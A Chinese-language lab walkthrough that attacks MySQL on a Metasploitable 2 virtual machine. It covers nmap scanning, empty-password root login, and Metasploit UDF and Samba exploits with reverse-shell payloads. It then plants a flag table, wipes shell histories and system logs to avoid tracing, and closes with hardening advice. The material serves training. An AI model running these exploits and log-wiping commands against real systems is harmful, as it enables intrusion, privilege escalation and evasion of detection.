一、3306/MySQL 基础认知
1. 核心基础信息
| 项⽬ | 详细说明 |
|---|---|
| 端口号 | 3306(MySQL 默认通信端口,TCP 协议) |
| 服务特性 | 关系型数据库服务,广泛应用于 Web 应用、系统后台,存储核心业务 / 用户数据 |
| 核心攻击面 | 弱密码 / 默认密码、远程登录配置不当、版本漏洞(UDF 提权)、配置文件泄露 |
| 高危配置 | root@%(允许任意 IP 远程登录)、空密码 / 弱密码、以 root 权限运行 MySQL 进程 |
2. 靶机环境说明(Metasploitable 2)
- MySQL 版本:5.0.51a-3ubuntu5(老版本,存在 UDF 提权漏洞)
- 核心漏洞:root 账号空密码 +
root@%远程登录权限 - 系统环境:Ubuntu 8.04(Linux,与 Windows 载荷不兼容,需注意载荷适配)
二、全闭环渗透测试流程(实战步骤)
阶段 1:信息收集(被动 + 主动)
1. 端口与版本探测
bash
运行
# 基础端口扫描
nmap -p 3306 192.168.1.5
# 精准扫描:版本+空密码+弱密码爆破
nmap -sV --script mysql-info,mysql-empty-password,mysql-brute -p 3306 192.168.1.5
核心输出解读:
MySQL 5.0.51a-3ubuntu5:确认版本(老版本适配 UDF 提权);root account has empty password:发现 root 空密码(核心突破口);guest:<empty> - Valid credentials:辅助验证弱密码问题。
2. 关键信息提取
| 提取项 | 靶机结果 | 风险等级 |
|---|---|---|
| 登录权限 | root 允许任意 IP 远程登录 | 高危 |
| 密码状态 | root 空密码 | 高危 |
| 运行权限 | MySQL 以 root 系统权限运行 | 高危 |
阶段 2:漏洞探测与验证
1. 远程登录验证(核心卡点解决)
bash
运行
# 初始登录(报错:TLS/SSL版本不兼容)
mysql -u root -h 192.168.1.5 -p
# 修正命令(禁用SSL,适配老版本)
mysql -u root -h 192.168.1.5 -p --skip-ssl
报错原因:MySQL 5.0 不支持新版客户端的 TLS/SSL 协议,需禁用 SSL 才能登录。
2. 权限验证(登录后执行)
sql
-- 查看所有数据库
show databases;
-- 查看root用户访问权限
use mysql;
select user, host from user where user='root';
-- 查看MySQL运行权限(系统层面)
-- 需系统shell执行:ps aux | grep mysql
关键结果 :host列显示% → 允许任意 IP 远程操作,无访问限制。
阶段 3:漏洞利用(核心提权)
方案 1:Metasploit UDF 提权(远程提权,适配问题解决)
bash
运行
# 启动msfconsole
msfconsole -q
# 加载UDF提权模块
use exploit/multi/mysql/mysql_udf_payload
# 配置参数(核心:适配Linux载荷)
set RHOSTS 192.168.1.5
set USERNAME root
set PASSWORD ""
set PAYLOAD linux/x86/meterpreter/reverse_tcp # 关键:禁用默认Windows载荷
# 执行提权
run
卡点说明 :模块默认载荷为windows/meterpreter/reverse_tcp,与 Linux 靶机不兼容,需手动切换为 Linux 载荷。
方案 2:系统 root 权限下本地操作(最优解,绕开适配问题)
bash
运行
# 1. 通过Samba漏洞获取系统root shell(已验证可行)
msfconsole -q
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.1.5
run
# 2. 转换为交互式shell(解决mysql命令无响应问题)
python -c 'import pty; pty.spawn("/bin/bash")'
# 3. 本地登录MySQL(系统root权限下无需密码)
mysql -u root
核心优势:本地登录无 SSL / 网络限制,直接获取 MySQL root 权限,避开远程提权的适配坑。
阶段 4:插旗留证(渗透成果固化)
sql
-- 1. 创建专属渗透数据库
CREATE DATABASE HackePts_MySQL_3306_PWNED;
-- 2. 进入目标数据库
USE HackePts_MySQL_3306_PWNED;
-- 3. 创建旗帜表(结构化记录渗透信息)
CREATE TABLE hack_flag (
id INT PRIMARY KEY AUTO_INCREMENT,
attack_time DATETIME, -- 渗透时间
target_port VARCHAR(10), -- 目标端口
privilege VARCHAR(30), -- 获取权限
exploit_way VARCHAR(50) -- 利用方式
);
-- 4. 插入渗透记录(永久留证)
INSERT INTO hack_flag (attack_time, target_port, privilege, exploit_way)
VALUES (NOW(), '3306', 'system_root + mysql_root', 'MySQL empty password + local login');
-- 5. 验证插旗结果
SELECT * FROM hack_flag;
验证输出:
plaintext
+----+---------------------+-------------+--------------------------+------------------------------------+
| id | attack_time | target_port | privilege | exploit_way |
+----+---------------------+-------------+--------------------------+------------------------------------+
| 1 | 2026-01-12 07:20:31 | 3306 | system_root + mysql_root | MySQL empty password + local login |
+----+---------------------+-------------+--------------------------+------------------------------------+
阶段 5:痕迹清理(实战闭环收尾)
bash
运行
# 1. 清除MySQL操作历史
rm -rf /root/.mysql_history
# 2. 清除系统shell历史
history -c
rm -rf /root/.bash_history
# 3. 清空核心日志(避免被溯源)
echo "" > /var/log/auth.log # 认证日志
echo "" > /var/log/syslog # 系统日志
echo "" > /var/log/mysql.log 2>/dev/null # MySQL日志
# 4. 退出shell,断开连接
exit
阶段 6:成果验证(最终确认)
bash
运行
# 重新登录MySQL,验证旗帜留存
mysql -u root -e "SELECT * FROM HackePts_MySQL_3306_PWNED.hack_flag;"
核心标准:能查询到完整的渗透记录,说明留证成功;无操作日志 / 历史命令,说明清理到位。
三、核心卡点与解决方案(新手必记)
| 卡点问题 | 根本原因 | 解决方案 |
|---|---|---|
| 远程登录 MySQL 报 TLS/SSL 错误 | MySQL 5.0 与新版客户端 SSL 协议不兼容 | 登录命令加--skip-ssl参数禁用 SSL |
| Metasploit 反向 shell 执行 mysql 无反应 | reverse_netcat载荷为非交互式 shell |
① 换reverse_bash载荷;② python -c 'import pty; pty.spawn("/bin/bash")'转交互式 shell |
| UDF 提权模块连接超时 | 默认载荷为 Windows 版本,与 Linux 靶机不兼容 | 手动设置PAYLOAD linux/x86/meterpreter/reverse_tcp |
| 远程 UDF 提权失败 | 老版本 MySQL 插件目录配置隐藏 | 放弃远程提权,改用 Samba 获取系统 root 后本地操作 MySQL |
四、防御建议(实战落地)
1. 密码与权限控制(核心)
- 为 MySQL root 账号设置强密码(8 位以上,数字 + 字母 + 特殊符号);
- 限制 root 登录 IP:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.1.%' IDENTIFIED BY '强密码' WITH GRANT OPTION;,禁止root@%; - 创建低权限业务账号:仅授予业务数据库的增删改查权限,禁止 root 账号用于业务操作。
2. 版本与配置加固
- 升级 MySQL 至 8.0 + 稳定版本,修复历史 UDF 提权漏洞;
- 禁用远程登录:仅允许本地 127.0.0.1 登录,业务需远程时通过 VPN / 跳板机;
- 降低 MySQL 运行权限:创建专用
mysql用户,禁止以 root 权限运行mysqld进程。
3. 日志与监控
- 开启 MySQL 详细审计日志:记录所有登录 / 操作行为;
- 监控 3306 端口访问:通过防火墙 / IDS 告警异常 IP 的登录尝试;
- 定期检查用户权限:删除无用账号,回收过度授权的权限。
五、核心知识点复盘
1. 渗透核心逻辑

信息收集:版本+密码+权限
漏洞验证:远程登录(禁用SSL)
漏洞利用:远程UDF提权/系统root本地操作
插旗留证:数据库创建旗帜表
痕迹清理:清除历史+日志
成果验证:查询旗帜记录
flowchart TD
A[信息收集:版本+密码+权限] --> B[漏洞验证:远程登录(禁用SSL)]
B --> C[漏洞利用:远程UDF提权/系统root本地操作]
C --> D[插旗留证:数据库创建旗帜表]
D --> E[痕迹清理:清除历史+日志]
E --> F[成果验证:查询旗帜记录]
- 核心命令速查
| 用途 | 命令 |
|---|---|
| MySQL 版本扫描 | nmap -sV --script mysql-info -p 3306 目标 IP |
| 空密码验证 | nmap --script mysql-empty-password -p 3306 目标 IP |
| 禁用 SSL 登录 | mysql -u root -h 目标 IP -p --skip-ssl |
| 转交互式 shell | python -c 'import pty; pty.spawn("/bin/bash")' |
| MySQL 插旗验证 | mysql -u root -e "SELECT * FROM 数据库名。表名;" |
| 痕迹清理 | history -c && rm -rf /root/.mysql_history /root/.bash_history |
核心闭环要点
本次 3306 端口渗透的成功,核心是灵活调整思路 + 解决关键卡点 + 完成全流程闭环:
- 从 "远程 MySQL 提权" 转向 "系统 root 本地操作",避开模块兼容坑;
- 解决交互式 shell、SSL 兼容等基础问题,确保核心命令可执行;
- 插旗留证 + 痕迹清理,形成 "攻击 - 留证 - 清理" 的实战闭环,符合渗透测试的核心逻辑。